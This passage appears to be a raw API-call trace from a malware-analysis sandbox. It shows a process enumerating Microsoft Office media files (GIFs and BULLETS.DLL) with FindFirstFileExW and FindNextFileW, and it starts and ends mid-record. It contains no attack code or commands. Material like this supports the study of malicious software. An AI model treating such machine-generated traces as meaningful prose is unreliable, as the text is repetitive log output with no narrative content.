ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21504_.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ec300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x912ec300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21505_.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b6bd00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9b6bd00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21518_.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7ea00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbae7ea00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21519_.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7ea00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbae7ea00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21520_.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b6500, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8b6500, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21533_.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b6500, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8b6500, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21534_.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b6500, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8b6500, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21535_.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b201b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS.DLL", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2f35a00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc2f35a00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115834.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115835.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc555b400, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc555b400, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115836.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x497bb300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x497bb300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115839.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115840.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115841.GIF", cAlternateFileName="")) returned 1 [0069.145] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115842.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115843.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bde0d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4bde0d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115844.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9cf00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57c9cf00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115863.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9cf00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57c9cf00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115864.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9cf00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57c9cf00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115865.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58fafc00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58fafc00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115866.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58fafc00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58fafc00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115867.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58fafc00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58fafc00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115868.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58fafc00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58fafc00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115868.GIF", cAlternateFileName="")) returned 0 [0069.146] GetLastError () returned 0x12 [0069.146] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.146] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x992c8400, ftLastWriteTime.dwHighDateTime=0x1bd5de4, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10253_.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dec3400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5dec3400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10254_.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d6100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f1d6100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10255_.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10263_.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10264_.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10265_.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10266_.GIF", cAlternateFileName="")) returned 1 [0069.146] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10267_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10268_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10297_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10298_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10299_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10300_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10301_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c7c800, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72c7c800, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10302_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10335_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10336_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10337_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebfa00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ebfa00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14513_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14514_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14515_.GIF", cAlternateFileName="")) returned 1 [0069.147] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: 